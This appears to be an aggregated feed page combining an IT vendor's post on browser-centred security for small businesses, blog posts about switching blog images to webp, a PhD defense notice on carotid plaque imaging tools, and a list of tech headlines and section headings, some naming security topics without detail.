Employees frequently sign up for web-based tools without IT approval. These apps can store company data outside of approved systems, creating blind spots and compliance risks.

Why Traditional Security Misses This

Most security strategies are still built around protecting endpoints and networks. Firewalls, antivirus software, and endpoint detection tools are all important, but they are not designed to fully see or control what happens inside a browser session.

For example:

Endpoint tools may not detect suspicious activity happening within a legitimate web app session
Network security may not flag encrypted browser traffic tied to trusted SaaS platforms
Identity tools may not catch session-based attacks after login

The result is a growing visibility gap right where most work is happening.

What SMBs Should Actually Be Monitoring

To adapt to this shift, businesses need to start thinking differently about visibility and control.

Here are a few areas that matter most:

User activity within SaaS applications
Understanding how employees interact with tools like Microsoft 365 or Google Workspace can help identify unusual behavior early.
Browser extensions and configurations
Tracking which extensions are installed and limiting access to approved ones reduces unnecessary risk.
Session behavior
Monitoring for anomalies such as impossible travel, unusual login patterns, or session reuse can help detect hijacking attempts.
Access to unsanctioned applications
Gaining visibility into shadow IT allows businesses to bring those tools under management or eliminate them entirely.
Phishing resistance
Advanced email and web filtering combined with user awareness training remains critical, especially as phishing becomes more sophisticated.

A New Category Is Emerging

As this challenge becomes more visible, a new category of tools is emerging. Secure business browsers and browser-focused security platforms are designed specifically to address these gaps. They provide deeper visibility into user activity, enforce policies directly within the browser, and reduce the risk of data leakage or unauthorized access.

For many small and midsize businesses, this does not mean replacing everything overnight. It means recognizing that the browser is now a critical control point and should be treated as such.

Rethinking the Modern Workplace

The way people work has changed faster than most security strategies have kept up. If your team spends the majority of their day in a browser, then that is where your strongest protections need to be.

Ignoring that reality creates a blind spot. Addressing it creates an opportunity to reduce risk in a meaningful way.

How to Close the Browser Security Gap

Recognizing the problem is one thing. Solving it in a way that actually works for your business is another.

At Braver Technology, the focus is on aligning security with how your team already operates. Since so much of today’s work happens inside the browser, protection needs to extend into that environment, not sit outside of it.

That starts with better visibility into cloud applications, so you know which tools are being used, how data is moving, and where potential risks exist. From there, stronger identity and access controls help ensure the right people have access to the right systems, and that access is continuously verified, not just granted once at login.

Braver also helps implement practical, right-sized solutions for SMBs, whether that means securing browser activity, reducing exposure from unmanaged applications, or tightening policies around extensions and user behavior. The goal is not to overcomplicate things. It is to make security more effective by making it more relevant to how work actually gets done.

When your office lives in the browser, your security strategy should too.

If you are unsure how much of your business is happening in the browser, the answer is probably more than you think.

Braver Technology Solutions | WeMakeITWork@BraverTechnology.com
Boston 617.315.8515 | Taunton 508.824.2260 | Providence 401.484.7900

The post Your Business Lives in a Browser Now. appeared first on Braver Technology Solutions.

blogmore.el v4.1

Wed, 22 Apr 2026 08:41:52 +0000

Following on from yesterday's experiment with webp I got to thinking that it might be handy to add a wee command to blogmore.el that can quickly swap an image's extension from whatever it is to webp.

So v4.1 has happened. The new command is simple enough, called blogmore-webpify-image-at-point; it just looks to see if there's a Markdown image on the current line and, if there is, replaces the file's extension with webp no matter what it was before.

If/when I decide to convert all the png files in the blog to webp I'll obviously use something very batch-oriented, but for now I'm still experimenting, so going back and quickly changing the odd image here and there is a nicely cautious approach.

I have, of course, added the command to the transient menu that is brought up by the blogmore command.

One other small change in v4.1 is that a newly created post is saved right away. This doesn't make a huge difference, but it does mean I start out with a saved post that will be seen by BlogMore when generating the site.

I should use webp

Wed, 22 Apr 2026 08:41:52 +0000

For a good while now I've been pretty happy with the PageSpeed measurements of this blog, which in turn means I've been happy with the state of what's generated by BlogMore. I have pretty much everything that can be minified nice and minimal. At this point, the main thing that causes the speed measurement to fluctuate is image sizes.

I use a lot of PNGs on this blog. When I'm using images, they're almost always in posts that include screenshots, which in turn pretty much demand that I use a lossless format. When I take these screenshots I don't worry too much about the dimensions (within reason), and of course I don't really do anything to optimise how they'll work and appear on different display sizes. If I was to get too into that, it would add friction to writing something, and the whole point of this is to feel less friction when it comes to sitting at the keyboard.

So I've been living with the fact that some images can be pretty big. While I do make a point of using pngcrush on every image, it generally doesn't make a huge saving.

Then yesterday I read this post on Andy's blog and I suddenly realised what I had to do!

Borrowing from what Andy did, I used mogrify too, setting up this Fish abbr in my Fish configuration:

iftype -q mogrify
    abbr -g mkwebp "mogrify -format webp -define webp:lossless=true -quality 100"end

In my case, at least in the initial experiment, I decided to keep it all lossless. So far the results have been really good, cutting the image sizes down by a significant amount. For example, if I look at the images for yesterday's posts:

90581 15 Apr 18:14 sl-overview.png
 33446 16 Apr 20:23 sl-overview.webp
392661 15 Apr 18:14 slstats-region-info.png
225392 16 Apr 20:23 slstats-region-info.webp
 36049 15 Apr 19:39 year-chart.png
 15590 16 Apr 20:23 year-chart.webp

That's a pretty reasonable saving!

So far all I've done is convert the few latest posts that make up the front page of my blog, just so I can see what impact it has. I'm getting improved load times on mobile, for sure.

There are a couple of downsides to this, of course.

Now I want to do the whole blog, so while I can easily go through and convert all the png files to webp, converting all the image markup in the Markdown files isn't quite so simple, and even if I do write something to automate it, I'm then going to want to review it to make 100% sure nothing has broken.
I can't just then remove all the png files to cut back on the space used by the generated site. The front page of the site has a feed, and all the categories have a feed each too. This means that there could be HTML out there from some of my oldest posts, referring to the png files, and just removing them will result in broken images.

Overall though, it might be worth doing at some point soon. Meanwhile, from now on, I think I'm going to replace my pngcrush step with a mkwebp step and just use webp instead of png now.

I guess I'm all modern now!

PhD Defense: Jenna Kim on Wednesday, 4/8 at 11AM | UMass Boston CS

Wed, 22 Apr 2026 08:41:10 +0000

Streamlined Biomedical Image Processing Pipelines

PhD Thesis Defense by Jenna Kim

Committee Members: Prof. Daniel Haehn (Chair), Prof. Jae W. Song, Prof. Tales Imbiriba, Prof. Nurit Haspel

GPD: Prof. Dan Simovici

When: 11:00 AM, April 08, 2026 (Wednesday)

Where: Pomplun Lab

Zoom Link: https://umassboston.zoom.us/my/jennajkim

This dissertation focuses on advancing carotid artery analysis through a series of visualizations and deep learning tools for calcified plaque assessment and related biomedical imaging tasks. Accurate plaque evaluation is essential, but current workflows depend on slow, clinician-dependent manual review. To address these limitations, this work introduces the CACTAS framework, a set of tools and methods that enable fast and reliable plaque segmentation for clinicians.

The first study, the CACTAS-Tool, provides a web-based labeling tool that enables clinicians to label plaque directly in three dimensions through a streamlined one-click interface. This tool significantly reduces the effort required to generate high-quality annotations by replacing slice-by-slice labeling with a more intuitive 3D interaction model, offering a faster alternative to existing manual workflows.

The second project, CACTAS-AI, automates plaque segmentation through a two-step deep learning approach. The system first segments the carotid artery to focus the search space and then segments calcified plaque within this anatomically relevant region.

The third study, CACTAS-UQ, investigates beyond segmentation by showing how confident the AI is in its predictions. To make this information accessible, the study introduces an integrated visualization that combines plaque composition, prediction probability, and uncertainty into a single unified view. Uncertain regions are visually flagged, giving clinicians a clearer picture of prediction reliability and supporting more informed decision-making.

This dissertation extends these visualization concepts to a microscopy-based biomedical setting through an ongoing collaboration with MYOTWIN, which serves as an extension of a DAAD-funded research exchange in Germany, where I was a visiting researcher in Summer 2025. This project focuses on the interactive visualization and analysis of calcium transients in engineered heart tissue, leveraging fluorescence imaging to study cardiac behavior.

Together, these studies advance the role of visualization and machine learning in medical image analysis, presenting practical, interpretable, and clinician-centered tools that enable more transparent and efficient assessment of vascular and cardiac imaging data. These contributions lay the foundation for future applications in clinical decision support.

10 formations pour devenir manager dans le digital

Wed, 22 Apr 2026 08:04:32 +0000

Manager une équipe ne s’improvise pas et nécessite des compétences propres à l’écosystème numérique. Voici 10 formations, du MBA au module ciblé, pour accéder à des fonctions managériales ou renforcer vos compétences dans le digital.

Roastidio.us Tagged with web

The woes of sanitizing SVGs

2019: XSS via <script> tag

2020: XSS via oversights in previous fix (CVE-2020-7750)

2022: HTTP leak via <image> href

2023: HTTP leak via CSS @import

2024: XSS via Paper.js

2025: HTTP leak via CSS url()

2026: HTTP leak via several bugs in the previous code

2026: Full page restyling via long transitions

2026: HTTP leak via image-set()

20XX: HTTP leak via new CSS features

This is unsustainable

An alternative

2026-04-12: Claude finds HTTP leak via CSS nesting relaxed syntax

AIオタクのセキュリティエンジニアが伝えたい、バイブコーディングのセキュリティリスク7選 - GMO Flatt Security Blog

はじめに

なぜバイブコーディングでセキュリティリスクが高まるのか

よくない操作 — 開発時における任意コード実行のリスク

任意コード実行に対する共通の軽減策

リスク1. 悪意あるAgent Skillの実行

リスク2. 悪意のある設定ファイルが含まれるOSSレポジトリ

リスク3. サードパーティMCPサーバ

リスク4. AIが生成した危険な操作へのユーザーの承認

リスク5. ソフトウェアサプライチェーン攻撃

よくない持ち出し — 開発時における情報漏洩のリスク

リスク6. 意図しない外部ドメインへの通信

リスク7. 機密情報の漏洩

よくない出荷 — 開発段階で防げるリリース後のリスク

終わりに

Nouvelles icônes Google : le design de Gmail et Drive change en 2026 - Numerama

Gmail, Drive, Meet, Calendar : les nouvelles icônes Google bientôt dévoilées ?

Smolwebifying my site | AksDev

Smolwebifying my site

Tags

Webmentions

FediFeed

Lua can be a really cool HTML templating engine · riki's house

What’s in a template engine?

Devising an approach that isn’t ass-backwards

The Dark Side of the Moon

The part where I do the thing

Ergonomic improvements

Idioms

An experiment in vibe coding | Read the Tea Leaves

The good

The bad

The ugly

Conclusion

Related

Sitemap with NextJS after 9.4 update.

Testing out Sveltia

Polymarket : un soldat américain arrêté après avoir gagné 400 000 dollars sur la chute de Maduro

« J’espère qu’il continuera à passer sous les radars » : comment LinkedIn a invité un agent IA sur scène avant de le bannir

Adieu Microsoft : le Health Data Hub passe enfin sur un cloud français avec Scaleway

Le redoutable Claude Mythos a donné des sueurs froides à Firefox, mais c’était pour son bien

Que faire après un métier de graphiste ?

information - technology - firefox

Serving the For You Feed - AT Protocol

Database

Logging

Caching

Hardware

The load

Future growth

Exposing the feed to the internet

Monitoring

Running costs

Les chiffres clés d’Internet et des réseaux sociaux dans le monde en avril 2026

Web Lookup Tools « Ben's IR Notes

Share this:

Related

Leave a comment Cancel reply

WCAG3 Contrast as of April 2026 — Adrian Roselli

WCAG3 Contrast as of April 2026

Current Situation

What to Do?

3 Comments

Leave a Comment or Response Cancel response

jjba23/olive-css: Utility-class vanilla CSS framework inspired by Tailwind syntax, easy to learn and hack, written in Lisp (Guile Scheme) - Codeberg.org